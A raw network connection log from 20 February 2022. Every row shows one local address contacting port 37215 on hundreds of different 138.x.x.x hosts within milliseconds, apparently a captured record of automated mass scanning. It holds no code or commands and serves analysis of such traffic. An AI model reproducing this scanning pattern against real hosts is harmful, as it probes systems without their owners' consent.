Feb 20, 2022 15:50:58.698931932 CET	1386	37215	192.168.2.23	138.103.25.46
Feb 20, 2022 15:50:58.698966026 CET	1386	37215	192.168.2.23	138.64.191.25
Feb 20, 2022 15:50:58.699002028 CET	1386	37215	192.168.2.23	138.87.178.107
Feb 20, 2022 15:50:58.699037075 CET	1386	37215	192.168.2.23	138.198.17.53
Feb 20, 2022 15:50:58.699065924 CET	1386	37215	192.168.2.23	138.175.111.250
Feb 20, 2022 15:50:58.699080944 CET	1386	37215	192.168.2.23	138.115.91.232
Feb 20, 2022 15:50:58.699116945 CET	1386	37215	192.168.2.23	138.31.98.156
Feb 20, 2022 15:50:58.699136019 CET	1386	37215	192.168.2.23	138.208.57.222
Feb 20, 2022 15:50:58.699157953 CET	1386	37215	192.168.2.23	138.181.245.213
Feb 20, 2022 15:50:58.699182987 CET	1386	37215	192.168.2.23	138.251.221.90
Feb 20, 2022 15:50:58.699206114 CET	1386	37215	192.168.2.23	138.13.66.109
Feb 20, 2022 15:50:58.699232101 CET	1386	37215	192.168.2.23	138.46.116.53
Feb 20, 2022 15:50:58.699260950 CET	1386	37215	192.168.2.23	138.92.22.66
Feb 20, 2022 15:50:58.699275017 CET	1386	37215	192.168.2.23	138.88.163.81
Feb 20, 2022 15:50:58.699300051 CET	1386	37215	192.168.2.23	138.54.119.165
Feb 20, 2022 15:50:58.699321985 CET	1386	37215	192.168.2.23	138.121.102.130
Feb 20, 2022 15:50:58.699341059 CET	1386	37215	192.168.2.23	138.77.162.89
Feb 20, 2022 15:50:58.699363947 CET	1386	37215	192.168.2.23	138.211.147.75
Feb 20, 2022 15:50:58.699383974 CET	1386	37215	192.168.2.23	138.194.71.174
Feb 20, 2022 15:50:58.699407101 CET	1386	37215	192.168.2.23	138.29.150.251
Feb 20, 2022 15:50:58.699425936 CET	1386	37215	192.168.2.23	138.86.207.128
Feb 20, 2022 15:50:58.699476957 CET	1386	37215	192.168.2.23	138.147.143.0
Feb 20, 2022 15:50:58.699492931 CET	1386	37215	192.168.2.23	138.107.218.168
Feb 20, 2022 15:50:58.699506044 CET	1386	37215	192.168.2.23	138.33.97.240
Feb 20, 2022 15:50:58.699532986 CET	1386	37215	192.168.2.23	138.189.135.17
Feb 20, 2022 15:50:58.699561119 CET	1386	37215	192.168.2.23	138.136.138.152
Feb 20, 2022 15:50:58.699582100 CET	1386	37215	192.168.2.23	138.106.8.128
Feb 20, 2022 15:50:58.699634075 CET	1386	37215	192.168.2.23	138.178.11.224
Feb 20, 2022 15:50:58.699645996 CET	1386	37215	192.168.2.23	138.153.67.250
Feb 20, 2022 15:50:58.699701071 CET	1898	37215	192.168.2.23	138.6.171.250
Feb 20, 2022 15:50:58.699723959 CET	1898	37215	192.168.2.23	138.99.216.55
Feb 20, 2022 15:50:58.699745893 CET	1898	37215	192.168.2.23	138.175.238.208
Feb 20, 2022 15:50:58.699769974 CET	1898	37215	192.168.2.23	138.44.188.212
Feb 20, 2022 15:50:58.699789047 CET	1898	37215	192.168.2.23	138.247.241.168
Feb 20, 2022 15:50:58.699821949 CET	1898	37215	192.168.2.23	138.192.47.250
Feb 20, 2022 15:50:58.699834108 CET	1898	37215	192.168.2.23	138.187.160.205
Feb 20, 2022 15:50:58.699853897 CET	1898	37215	192.168.2.23	138.118.253.139
Feb 20, 2022 15:50:58.699875116 CET	1898	37215	192.168.2.23	138.223.92.195
Feb 20, 2022 15:50:58.699892044 CET	1898	37215	192.168.2.23	138.161.157.21
Feb 20, 2022 15:50:58.699928045 CET	1898	37215	192.168.2.23	138.214.117.117
Feb 20, 2022 15:50:58.699961901 CET	1898	37215	192.168.2.23	138.89.127.91
Feb 20, 2022 15:50:58.699987888 CET	1898	37215	192.168.2.23	138.39.94.99
Feb 20, 2022 15:50:58.700001001 CET	1898	37215	192.168.2.23	138.101.100.229
Feb 20, 2022 15:50:58.700021029 CET	1898	37215	192.168.2.23	138.144.183.224
Feb 20, 2022 15:50:58.700063944 CET	1898	37215	192.168.2.23	138.238.129.236
Feb 20, 2022 15:50:58.700088978 CET	1898	37215	192.168.2.23	138.80.126.215
Feb 20, 2022 15:50:58.700094938 CET	1898	37215	192.168.2.23	138.172.130.85
Feb 20, 2022 15:50:58.700130939 CET	1898	37215	192.168.2.23	138.93.223.91
Feb 20, 2022 15:50:58.700154066 CET	1898	37215	192.168.2.23	138.219.55.26
Feb 20, 2022 15:50:58.700170994 CET	1898	37215	192.168.2.23	138.63.88.251
Feb 20, 2022 15:50:58.700207949 CET	1898	37215	192.168.2.23	138.28.135.172
Feb 20, 2022 15:50:58.700239897 CET	1898	37215	192.168.2.23	138.249.203.129
Feb 20, 2022 15:50:58.700267076 CET	1898	37215	192.168.2.23	138.33.83.105
Feb 20, 2022 15:50:58.700273037 CET	1898	37215	192.168.2.23	138.226.229.186
Feb 20, 2022 15:50:58.700287104 CET	1898	37215	192.168.2.23	138.17.252.171
Feb 20, 2022 15:50:58.700314045 CET	1898	37215	192.168.2.23	138.108.163.155
Feb 20, 2022 15:50:58.700337887 CET	1898	37215	192.168.2.23	138.122.169.50
Feb 20, 2022 15:50:58.700364113 CET	1898	37215	192.168.2.23	138.107.45.163
Feb 20, 2022 15:50:58.700386047 CET	1898	37215	192.168.2.23	138.92.179.33
Feb 20, 2022 15:50:58.700409889 CET	1898	37215	192.168.2.23	138.226.181.176
Feb 20, 2022 15:50:58.700433969 CET	1898	37215	192.168.2.23	138.226.143.250
Feb 20, 2022 15:50:58.700449944 CET	1898	37215	192.168.2.23	138.130.89.202
Feb 20, 2022 15:50:58.700465918 CET	1898	37215	192.168.2.23	138.240.241.24
Feb 20, 2022 15:50:58.700505018 CET	1898	37215	192.168.2.23	138.16.108.209
Feb 20, 2022 15:50:58.700515032 CET	1898	37215	192.168.2.23	138.215.82.166
Feb 20, 2022 15:50:58.700539112 CET	1898	37215	192.168.2.23	138.221.46.232
Feb 20, 2022 15:50:58.700573921 CET	1898	37215	192.168.2.23	138.146.21.121
Feb 20, 2022 15:50:58.700594902 CET	1898	37215	192.168.2.23	138.125.175.51
Feb 20, 2022 15:50:58.700618029 CET	1898	37215	192.168.2.23	138.74.179.218
Feb 20, 2022 15:50:58.700640917 CET	1898	37215	192.168.2.23	138.84.198.165
Feb 20, 2022 15:50:58.700675011 CET	1898	37215	192.168.2.23	138.208.240.243
Feb 20, 2022 15:50:58.700690031 CET	1898	37215	192.168.2.23	138.236.176.220
Feb 20, 2022 15:50:58.700709105 CET	1898	37215	192.168.2.23	138.54.247.187
Feb 20, 2022 15:50:58.700732946 CET	1898	37215	192.168.2.23	138.249.1.145
Feb 20, 2022 15:50:58.700788021 CET	1898	37215	192.168.2.23	138.203.84.244
Feb 20, 2022 15:50:58.700793982 CET	1898	37215	192.168.2.23	138.135.240.194
Feb 20, 2022 15:50:58.700812101 CET	1898	37215	192.168.2.23	138.69.163.211
Feb 20, 2022 15:50:58.700862885 CET	1898	37215	192.168.2.23	138.191.8.221
Feb 20, 2022 15:50:58.700869083 CET	1898	37215	192.168.2.23	138.38.13.123
Feb 20, 2022 15:50:58.700886965 CET	1898	37215	192.168.2.23	138.178.16.67
Feb 20, 2022 15:50:58.700915098 CET	1898	37215	192.168.2.23	138.160.13.173
Feb 20, 2022 15:50:58.700939894 CET	1898	37215	192.168.2.23	138.166.153.104
Feb 20, 2022 15:50:58.700970888 CET	1898	37215	192.168.2.23	138.227.186.7
Feb 20, 2022 15:50:58.701005936 CET	1898	37215	192.168.2.23	138.199.112.204
Feb 20, 2022 15:50:58.701047897 CET	1898	37215	192.168.2.23	138.112.186.123
Feb 20, 2022 15:50:58.701050997 CET	1898	37215	192.168.2.23	138.53.167.184
Feb 20, 2022 15:50:58.701080084 CET	1898	37215	192.168.2.23	138.89.51.217
Feb 20, 2022 15:50:58.701103926 CET	1898	37215	192.168.2.23	138.222.227.156
Feb 20, 2022 15:50:58.701139927 CET	1898	37215	192.168.2.23	138.11.169.168
Feb 20, 2022 15:50:58.701184034 CET	1898	37215	192.168.2.23	138.161.92.235
Feb 20, 2022 15:50:58.701216936 CET	1898	37215	192.168.2.23	138.136.27.110
Feb 20, 2022 15:50:58.701224089 CET	1898	37215	192.168.2.23	138.9.67.227
Feb 20, 2022 15:50:58.701247931 CET	1898	37215	192.168.2.23	138.31.230.183
Feb 20, 2022 15:50:58.701267004 CET	1898	37215	192.168.2.23	138.15.254.78
Feb 20, 2022 15:50:58.701292038 CET	1898	37215	192.168.2.23	138.31.169.144
Feb 20, 2022 15:50:58.701318026 CET	1898	37215	192.168.2.23	138.11.7.230
Feb 20, 2022 15:50:58.701333046 CET	1898	37215	192.168.2.23	138.78.14.179
Feb 20, 2022 15:50:58.701344013 CET	1898	37215	192.168.2.23	138.133.28.252
Feb 20, 2022 15:50:58.701369047 CET	1898	37215	192.168.2.23	138.37.220.109
Feb 20, 2022 15:50:58.701397896 CET	1898	37215	192.168.2.23	138.150.139.128
Feb 20, 2022 15:50:58.701416016 CET	1898	37215	192.168.2.23	138.1.34.157
Feb 20, 2022 15:50:58.701433897 CET	1898	37215	192.168.2.23	138.18.167.245
Feb 20, 2022 15:50:58.701456070 CET	1898	37215	192.168.2.23	138.103.205.145
Feb 20, 2022 15:50:58.701489925 CET	1898	37215	192.168.2.23	138.187.206.83
Feb 20, 2022 15:50:58.701513052 CET	1898	37215	192.168.2.23	138.5.153.251
Feb 20, 2022 15:50:58.701531887 CET	1898	37215	192.168.2.23	138.194.73.253
Feb 20, 2022 15:50:58.701596022 CET	1898	37215	192.168.2.23	138.207.119.246
Feb 20, 2022 15:50:58.701612949 CET	1898	37215	192.168.2.23	138.200.45.247
Feb 20, 2022 15:50:58.701631069 CET	1898	37215	192.168.2.23	138.169.123.14
Feb 20, 2022 15:50:58.701638937 CET	1898	37215	192.168.2.23	138.101.82.109
Feb 20, 2022 15:50:58.701659918 CET	1898	37215	192.168.2.23	138.118.147.239
Feb 20, 2022 15:50:58.701683044 CET	1898	37215	192.168.2.23	138.221.162.169
Feb 20, 2022 15:50:58.701714039 CET	1898	37215	192.168.2.23	138.197.178.163
Feb 20, 2022 15:50:58.701736927 CET	1898	37215	192.168.2.23	138.38.170.72
Feb 20, 2022 15:50:58.701782942 CET	1898	37215	192.168.2.23	138.22.15.157
Feb 20, 2022 15:50:58.701819897 CET	1898	37215	192.168.2.23	138.142.214.243
Feb 20, 2022 15:50:58.701827049 CET	1898	37215	192.168.2.23	138.164.160.184
Feb 20, 2022 15:50:58.701843977 CET	1898	37215	192.168.2.23	138.231.209.242
Feb 20, 2022 15:50:58.701869011 CET	1898	37215	192.168.2.23	138.79.165.243
Feb 20, 2022 15:50:58.701915026 CET	1898	37215	192.168.2.23	138.236.230.179
Feb 20, 2022 15:50:58.701921940 CET	1898	37215	192.168.2.23	138.210.185.206
Feb 20, 2022 15:50:58.701960087 CET	1898	37215	192.168.2.23	138.140.201.52
Feb 20, 2022 15:50:58.701999903 CET	1898	37215	192.168.2.23	138.73.135.121
Feb 20, 2022 15:50:58.702001095 CET	1898	37215	192.168.2.23	138.110.117.229
Feb 20, 2022 15:50:58.702043056 CET	1898	37215	192.168.2.23	138.117.26.55
Feb 20, 2022 15:50:58.702068090 CET	1898	37215	192.168.2.23	138.159.87.211
Feb 20, 2022 15:50:58.702097893 CET	1898	37215	192.168.2.23	138.180.107.222
Feb 20, 2022 15:50:58.702133894 CET	1898	37215	192.168.2.23	138.145.162.255
Feb 20, 2022 15:50:58.702161074 CET	1898	37215	192.168.2.23	138.166.167.135
Feb 20, 2022 15:50:58.702178001 CET	1898	37215	192.168.2.23	138.207.29.254
Feb 20, 2022 15:50:58.702214003 CET	1898	37215	192.168.2.23	138.80.172.40
Feb 20, 2022 15:50:58.702239037 CET	1898	37215	192.168.2.23	138.156.130.253
Feb 20, 2022 15:50:58.702279091 CET	1898	37215	192.168.2.23	138.227.16.165
Feb 20, 2022 15:50:58.702294111 CET	1898	37215	192.168.2.23	138.36.35.36
Feb 20, 2022 15:50:58.702299118 CET	1898	37215	192.168.2.23	138.191.195.211
Feb 20, 2022 15:50:58.702327013 CET	1898	37215	192.168.2.23	138.24.70.108
Feb 20, 2022 15:50:58.702353001 CET	1898	37215	192.168.2.23	138.21.35.166
Feb 20, 2022 15:50:58.702375889 CET	1898	37215	192.168.2.23	138.166.237.204
Feb 20, 2022 15:50:58.702402115 CET	1898	37215	192.168.2.23	138.139.183.129
Feb 20, 2022 15:50:58.702415943 CET	1898	37215	192.168.2.23	138.107.5.42
Feb 20, 2022 15:50:58.702435017 CET	1898	37215	192.168.2.23	138.0.237.29
Feb 20, 2022 15:50:58.702456951 CET	1898	37215	192.168.2.23	138.57.69.102
Feb 20, 2022 15:50:58.702474117 CET	1898	37215	192.168.2.23	138.229.125.217
Feb 20, 2022 15:50:58.702502966 CET	1898	37215	192.168.2.23	138.3.21.56
Feb 20, 2022 15:50:58.702539921 CET	1898	37215	192.168.2.23	138.211.245.251
Feb 20, 2022 15:50:58.702554941 CET	1898	37215	192.168.2.23	138.94.59.131
Feb 20, 2022 15:50:58.702564001 CET	1898	37215	192.168.2.23	138.69.207.207
Feb 20, 2022 15:50:58.702589035 CET	1898	37215	192.168.2.23	138.170.177.168
Feb 20, 2022 15:50:58.702610016 CET	1898	37215	192.168.2.23	138.7.146.70
Feb 20, 2022 15:50:58.702626944 CET	1898	37215	192.168.2.23	138.189.49.248
Feb 20, 2022 15:50:58.702666044 CET	1898	37215	192.168.2.23	138.84.98.200
Feb 20, 2022 15:50:58.702675104 CET	1898	37215	192.168.2.23	138.232.225.201
Feb 20, 2022 15:50:58.702702045 CET	1898	37215	192.168.2.23	138.106.88.225
Feb 20, 2022 15:50:58.702721119 CET	1898	37215	192.168.2.23	138.189.123.220
Feb 20, 2022 15:50:58.702744007 CET	1898	37215	192.168.2.23	138.124.180.228
Feb 20, 2022 15:50:58.702760935 CET	1898	37215	192.168.2.23	138.125.186.38
Feb 20, 2022 15:50:58.702792883 CET	1898	37215	192.168.2.23	138.40.52.73
Feb 20, 2022 15:50:58.702800035 CET	1898	37215	192.168.2.23	138.1.228.214
Feb 20, 2022 15:50:58.702836990 CET	1898	37215	192.168.2.23	138.190.228.6
Feb 20, 2022 15:50:58.702863932 CET	1898	37215	192.168.2.23	138.192.215.207
Feb 20, 2022 15:50:58.702883959 CET	1898	37215	192.168.2.23	138.2.142.232
Feb 20, 2022 15:50:58.702908993 CET	1898	37215	192.168.2.23	138.104.228.200
Feb 20, 2022 15:50:58.702933073 CET	1898	37215	192.168.2.23	138.49.147.93
Feb 20, 2022 15:50:58.702948093 CET	1898	37215	192.168.2.23	138.255.243.38
Feb 20, 2022 15:50:58.702970982 CET	1898	37215	192.168.2.23	138.217.188.134
Feb 20, 2022 15:50:58.702996016 CET	1898	37215	192.168.2.23	138.31.200.28
Feb 20, 2022 15:50:58.703016043 CET	1898	37215	192.168.2.23	138.59.57.8
Feb 20, 2022 15:50:58.703072071 CET	1898	37215	192.168.2.23	138.164.112.240
Feb 20, 2022 15:50:58.703098059 CET	1898	37215	192.168.2.23	138.216.238.198
Feb 20, 2022 15:50:58.703104019 CET	1898	37215	192.168.2.23	138.123.169.32
Feb 20, 2022 15:50:58.703130007 CET	1898	37215	192.168.2.23	138.88.251.155
Feb 20, 2022 15:50:58.703134060 CET	1898	37215	192.168.2.23	138.232.167.43
Feb 20, 2022 15:50:58.703145027 CET	1898	37215	192.168.2.23	138.244.180.232
Feb 20, 2022 15:50:58.703176022 CET	1898	37215	192.168.2.23	138.134.48.141
Feb 20, 2022 15:50:58.703191042 CET	1898	37215	192.168.2.23	138.42.129.36
Feb 20, 2022 15:50:58.703218937 CET	1898	37215	192.168.2.23	138.120.191.169
Feb 20, 2022 15:50:58.703233004 CET	1898	37215	192.168.2.23	138.214.216.34
Feb 20, 2022 15:50:58.703262091 CET	1898	37215	192.168.2.23	138.91.0.103
Feb 20, 2022 15:50:58.703278065 CET	1898	37215	192.168.2.23	138.228.224.183
Feb 20, 2022 15:50:58.703298092 CET	1898	37215	192.168.2.23	138.49.121.153
Feb 20, 2022 15:50:58.703330040 CET	1898	37215	192.168.2.23	138.97.17.11
Feb 20, 2022 15:50:58.703361988 CET	1898	37215	192.168.2.23	138.169.3.142
Feb 20, 2022 15:50:58.703372955 CET	1898	37215	192.168.2.23	138.20.158.139
Feb 20, 2022 15:50:58.703392982 CET	1898	37215	192.168.2.23	138.176.254.229
Feb 20, 2022 15:50:58.703408957 CET	1898	37215	192.168.2.23	138.190.228.134
Feb 20, 2022 15:50:58.703438044 CET	1898	37215	192.168.2.23	138.135.203.220
Feb 20, 2022 15:50:58.703468084 CET	1898	37215	192.168.2.23	138.91.177.145
Feb 20, 2022 15:50:58.703481913 CET	1898	37215	192.168.2.23	138.115.64.227
Feb 20, 2022 15:50:58.703506947 CET	1898	37215	192.168.2.23	138.220.78.222
Feb 20, 2022 15:50:58.703546047 CET	1898	37215	192.168.2.23	138.4.225.198
Feb 20, 2022 15:50:58.703572035 CET	1898	37215	192.168.2.23	138.238.78.77
Feb 20, 2022 15:50:58.703591108 CET	1898	37215	192.168.2.23	138.94.46.111
Feb 20, 2022 15:50:58.703639984 CET	1898	37215	192.168.2.23	138.128.54.127
Feb 20, 2022 15:50:58.703655005 CET	1898	37215	192.168.2.23	138.233.64.228
Feb 20, 2022 15:50:58.703669071 CET	1898	37215	192.168.2.23	138.11.247.81
Feb 20, 2022 15:50:58.703695059 CET	1898	37215	192.168.2.23	138.2.85.111
Feb 20, 2022 15:50:58.703716993 CET	1898	37215	192.168.2.23	138.213.63.255
Feb 20, 2022 15:50:58.703748941 CET	1898	37215	192.168.2.23	138.43.180.220
Feb 20, 2022 15:50:58.703769922 CET	1898	37215	192.168.2.23	138.218.88.28
Feb 20, 2022 15:50:58.703784943 CET	1386	37215	192.168.2.23	138.197.81.10
Feb 20, 2022 15:50:58.703802109 CET	1898	37215	192.168.2.23	138.25.108.218
Feb 20, 2022 15:50:58.703819036 CET	1898	37215	192.168.2.23	138.152.194.89
Feb 20, 2022 15:50:58.703841925 CET	1898	37215	192.168.2.23	138.197.126.130
Feb 20, 2022 15:50:58.703872919 CET	1898	37215	192.168.2.23	138.157.241.215
Feb 20, 2022 15:50:58.703891993 CET	1898	37215	192.168.2.23	138.95.48.129
Feb 20, 2022 15:50:58.703897953 CET	1386	37215	192.168.2.23	138.22.96.10
Feb 20, 2022 15:50:58.703927994 CET	1898	37215	192.168.2.23	138.178.192.160
Feb 20, 2022 15:50:58.703952074 CET	1386	37215	192.168.2.23	138.237.187.148
Feb 20, 2022 15:50:58.703960896 CET	1898	37215	192.168.2.23	138.77.233.207
Feb 20, 2022 15:50:58.703979015 CET	1898	37215	192.168.2.23	138.12.251.178
Feb 20, 2022 15:50:58.703999996 CET	1898	37215	192.168.2.23	138.219.153.202
Feb 20, 2022 15:50:58.704029083 CET	1898	37215	192.168.2.23	138.67.164.219
Feb 20, 2022 15:50:58.704058886 CET	1386	37215	192.168.2.23	138.237.171.59
Feb 20, 2022 15:50:58.704061031 CET	1898	37215	192.168.2.23	138.116.46.71
Feb 20, 2022 15:50:58.704077005 CET	1898	37215	192.168.2.23	138.20.240.139
Feb 20, 2022 15:50:58.704094887 CET	1898	37215	192.168.2.23	138.253.8.187
Feb 20, 2022 15:50:58.704117060 CET	1386	37215	192.168.2.23	138.39.9.65
Feb 20, 2022 15:50:58.704123974 CET	1898	37215	192.168.2.23	138.75.147.84
Feb 20, 2022 15:50:58.704138994 CET	1898	37215	192.168.2.23	138.78.86.172
Feb 20, 2022 15:50:58.704169035 CET	1898	37215	192.168.2.23	138.81.227.98
Feb 20, 2022 15:50:58.704183102 CET	1898	37215	192.168.2.23	138.69.220.126
Feb 20, 2022 15:50:58.704212904 CET	1386	37215	192.168.2.23	138.225.14.151
Feb 20, 2022 15:50:58.704231977 CET	1898	37215	192.168.2.23	138.241.85.189
Feb 20, 2022 15:50:58.704241037 CET	1898	37215	192.168.2.23	138.59.210.76
Feb 20, 2022 15:50:58.704258919 CET	1898	37215	192.168.2.23	138.229.247.131
Feb 20, 2022 15:50:58.704294920 CET	1386	37215	192.168.2.23	138.114.97.60
Feb 20, 2022 15:50:58.704302073 CET	1898	37215	192.168.2.23	138.230.156.80
Feb 20, 2022 15:50:58.704312086 CET	1898	37215	192.168.2.23	138.109.206.13
Feb 20, 2022 15:50:58.704328060 CET	1898	37215	192.168.2.23	138.59.185.70
Feb 20, 2022 15:50:58.704353094 CET	1898	37215	192.168.2.23	138.36.89.78
Feb 20, 2022 15:50:58.704375982 CET	1898	37215	192.168.2.23	138.125.9.31
Feb 20, 2022 15:50:58.704391956 CET	1386	37215	192.168.2.23	138.188.223.107
Feb 20, 2022 15:50:58.704417944 CET	1898	37215	192.168.2.23	138.45.16.81
Feb 20, 2022 15:50:58.704433918 CET	1898	37215	192.168.2.23	138.52.242.51
Feb 20, 2022 15:50:58.704469919 CET	1898	37215	192.168.2.23	138.168.217.213
Feb 20, 2022 15:50:58.704473972 CET	1898	37215	192.168.2.23	138.204.130.135
Feb 20, 2022 15:50:58.704487085 CET	1386	37215	192.168.2.23	138.86.35.147
Feb 20, 2022 15:50:58.704493046 CET	1898	37215	192.168.2.23	138.246.246.235
Feb 20, 2022 15:50:58.704524040 CET	1898	37215	192.168.2.23	138.152.160.79
Feb 20, 2022 15:50:58.704535007 CET	1898	37215	192.168.2.23	138.250.201.68
Feb 20, 2022 15:50:58.704591990 CET	1898	37215	192.168.2.23	138.163.207.200
Feb 20, 2022 15:50:58.704617977 CET	1898	37215	192.168.2.23	138.226.67.70
Feb 20, 2022 15:50:58.704617977 CET	1386	37215	192.168.2.23	138.77.220.79
Feb 20, 2022 15:50:58.704631090 CET	1386	37215	192.168.2.23	138.243.102.125
Feb 20, 2022 15:50:58.704636097 CET	1898	37215	192.168.2.23	138.58.249.255
Feb 20, 2022 15:50:58.704646111 CET	1898	37215	192.168.2.23	138.33.171.64
Feb 20, 2022 15:50:58.704662085 CET	1898	37215	192.168.2.23	138.86.4.90
Feb 20, 2022 15:50:58.704683065 CET	1898	37215	192.168.2.23	138.231.144.210
Feb 20, 2022 15:50:58.704700947 CET	1386	37215	192.168.2.23	138.139.217.168
Feb 20, 2022 15:50:58.704705000 CET	1898	37215	192.168.2.23	138.199.180.22
Feb 20, 2022 15:50:58.704718113 CET	1898	37215	192.168.2.23	138.50.25.230
Feb 20, 2022 15:50:58.704765081 CET	1898	37215	192.168.2.23	138.44.56.120
Feb 20, 2022 15:50:58.704796076 CET	1386	37215	192.168.2.23	138.224.112.217
Feb 20, 2022 15:50:58.704797029 CET	1898	37215	192.168.2.23	138.180.118.253
Feb 20, 2022 15:50:58.704803944 CET	1898	37215	192.168.2.23	138.182.247.49
Feb 20, 2022 15:50:58.704822063 CET	1898	37215	192.168.2.23	138.120.249.176
Feb 20, 2022 15:50:58.704862118 CET	1386	37215	192.168.2.23	138.22.227.12
Feb 20, 2022 15:50:58.704874039 CET	1898	37215	192.168.2.23	138.148.3.52
Feb 20, 2022 15:50:58.704878092 CET	1898	37215	192.168.2.23	138.74.80.81
Feb 20, 2022 15:50:58.704886913 CET	1898	37215	192.168.2.23	138.46.69.54
Feb 20, 2022 15:50:58.704906940 CET	1898	37215	192.168.2.23	138.34.253.149
Feb 20, 2022 15:50:58.704929113 CET	1898	37215	192.168.2.23	138.195.119.253
Feb 20, 2022 15:50:58.704950094 CET	1898	37215	192.168.2.23	138.149.76.161
Feb 20, 2022 15:50:58.704973936 CET	1898	37215	192.168.2.23	138.174.106.194
Feb 20, 2022 15:50:58.704981089 CET	1386	37215	192.168.2.23	138.111.102.64
Feb 20, 2022 15:50:58.704998016 CET	1898	37215	192.168.2.23	138.141.45.60
Feb 20, 2022 15:50:58.705015898 CET	1386	37215	192.168.2.23	138.205.179.35
Feb 20, 2022 15:50:58.705023050 CET	1898	37215	192.168.2.23	138.164.128.10
Feb 20, 2022 15:50:58.705054045 CET	1898	37215	192.168.2.23	138.56.26.209
Feb 20, 2022 15:50:58.705065966 CET	1898	37215	192.168.2.23	138.92.213.59
Feb 20, 2022 15:50:58.705101967 CET	1898	37215	192.168.2.23	138.9.251.231
Feb 20, 2022 15:50:58.705122948 CET	1386	37215	192.168.2.23	138.183.110.20
Feb 20, 2022 15:50:58.705133915 CET	1898	37215	192.168.2.23	138.219.50.186
Feb 20, 2022 15:50:58.705146074 CET	1386	37215	192.168.2.23	138.235.152.47
Feb 20, 2022 15:50:58.705154896 CET	1898	37215	192.168.2.23	138.225.137.120
Feb 20, 2022 15:50:58.705173969 CET	1898	37215	192.168.2.23	138.21.190.244
Feb 20, 2022 15:50:58.705208063 CET	1898	37215	192.168.2.23	138.214.63.129
Feb 20, 2022 15:50:58.705212116 CET	1386	37215	192.168.2.23	138.96.1.55
Feb 20, 2022 15:50:58.705224037 CET	1898	37215	192.168.2.23	138.228.50.183
Feb 20, 2022 15:50:58.705245972 CET	1898	37215	192.168.2.23	138.23.241.46
Feb 20, 2022 15:50:58.705264091 CET	1386	37215	192.168.2.23	138.183.78.183
Feb 20, 2022 15:50:58.705286026 CET	1898	37215	192.168.2.23	138.46.28.177
Feb 20, 2022 15:50:58.705311060 CET	1898	37215	192.168.2.23	138.151.142.114
Feb 20, 2022 15:50:58.705334902 CET	1386	37215	192.168.2.23	138.23.120.94
Feb 20, 2022 15:50:58.705339909 CET	1898	37215	192.168.2.23	138.92.173.234
Feb 20, 2022 15:50:58.705358028 CET	1898	37215	192.168.2.23	138.24.186.62
Feb 20, 2022 15:50:58.705388069 CET	1898	37215	192.168.2.23	138.20.223.164
Feb 20, 2022 15:50:58.705404043 CET	1898	37215	192.168.2.23	138.130.88.46
Feb 20, 2022 15:50:58.705406904 CET	1386	37215	192.168.2.23	138.14.185.211
Feb 20, 2022 15:50:58.705424070 CET	1898	37215	192.168.2.23	138.34.147.246
Feb 20, 2022 15:50:58.705454111 CET	1898	37215	192.168.2.23	138.40.90.147
Feb 20, 2022 15:50:58.705465078 CET	1386	37215	192.168.2.23	138.113.186.11
Feb 20, 2022 15:50:58.705482960 CET	1898	37215	192.168.2.23	138.166.12.224
Feb 20, 2022 15:50:58.705503941 CET	1898	37215	192.168.2.23	138.2.127.13
Feb 20, 2022 15:50:58.705548048 CET	1898	37215	192.168.2.23	138.210.26.188
Feb 20, 2022 15:50:58.705552101 CET	1386	37215	192.168.2.23	138.41.50.103
Feb 20, 2022 15:50:58.705554008 CET	1898	37215	192.168.2.23	138.34.95.28
Feb 20, 2022 15:50:58.705568075 CET	1898	37215	192.168.2.23	138.69.102.219
Feb 20, 2022 15:50:58.705596924 CET	1898	37215	192.168.2.23	138.41.251.215
Feb 20, 2022 15:50:58.705617905 CET	1898	37215	192.168.2.23	138.85.112.89
Feb 20, 2022 15:50:58.705642939 CET	1386	37215	192.168.2.23	138.223.169.1
Feb 20, 2022 15:50:58.705662012 CET	1898	37215	192.168.2.23	138.30.3.42
Feb 20, 2022 15:50:58.705662012 CET	1898	37215	192.168.2.23	138.163.223.239
Feb 20, 2022 15:50:58.705674887 CET	1898	37215	192.168.2.23	138.178.53.32
Feb 20, 2022 15:50:58.705698013 CET	1898	37215	192.168.2.23	138.7.239.238
Feb 20, 2022 15:50:58.705723047 CET	1386	37215	192.168.2.23	138.63.50.173
Feb 20, 2022 15:50:58.705746889 CET	1898	37215	192.168.2.23	138.41.92.84
Feb 20, 2022 15:50:58.705768108 CET	1898	37215	192.168.2.23	138.209.119.129
Feb 20, 2022 15:50:58.705796003 CET	1386	37215	192.168.2.23	138.158.80.38
Feb 20, 2022 15:50:58.705799103 CET	1898	37215	192.168.2.23	138.104.169.254
Feb 20, 2022 15:50:58.705801010 CET	1898	37215	192.168.2.23	138.25.236.63
Feb 20, 2022 15:50:58.705812931 CET	1898	37215	192.168.2.23	138.140.222.122
Feb 20, 2022 15:50:58.705835104 CET	1898	37215	192.168.2.23	138.73.32.241
Feb 20, 2022 15:50:58.705871105 CET	1898	37215	192.168.2.23	138.4.237.209
Feb 20, 2022 15:50:58.705892086 CET	1898	37215	192.168.2.23	138.180.150.108
Feb 20, 2022 15:50:58.705900908 CET	1898	37215	192.168.2.23	138.192.34.123
Feb 20, 2022 15:50:58.705931902 CET	1898	37215	192.168.2.23	138.167.70.84
Feb 20, 2022 15:50:58.705931902 CET	1386	37215	192.168.2.23	138.113.74.174
Feb 20, 2022 15:50:58.705945015 CET	1898	37215	192.168.2.23	138.219.231.102
Feb 20, 2022 15:50:58.705987930 CET	1386	37215	192.168.2.23	138.120.240.45
Feb 20, 2022 15:50:58.705993891 CET	1898	37215	192.168.2.23	138.59.245.215
Feb 20, 2022 15:50:58.706013918 CET	1386	37215	192.168.2.23	138.10.54.176
Feb 20, 2022 15:50:58.706022978 CET	1898	37215	192.168.2.23	138.62.117.208
Feb 20, 2022 15:50:58.706048965 CET	1898	37215	192.168.2.23	138.113.206.103
Feb 20, 2022 15:50:58.706070900 CET	1898	37215	192.168.2.23	138.188.160.58
Feb 20, 2022 15:50:58.706098080 CET	1386	37215	192.168.2.23	138.103.60.59
Feb 20, 2022 15:50:58.706120014 CET	1898	37215	192.168.2.23	138.110.135.75
Feb 20, 2022 15:50:58.706140995 CET	1898	37215	192.168.2.23	138.113.189.246
Feb 20, 2022 15:50:58.706142902 CET	1898	37215	192.168.2.23	138.18.253.194
Feb 20, 2022 15:50:58.706167936 CET	1898	37215	192.168.2.23	138.91.147.14
Feb 20, 2022 15:50:58.706176043 CET	1386	37215	192.168.2.23	138.156.213.19
Feb 20, 2022 15:50:58.706199884 CET	1898	37215	192.168.2.23	138.6.97.44
Feb 20, 2022 15:50:58.706207991 CET	1898	37215	192.168.2.23	138.208.31.105
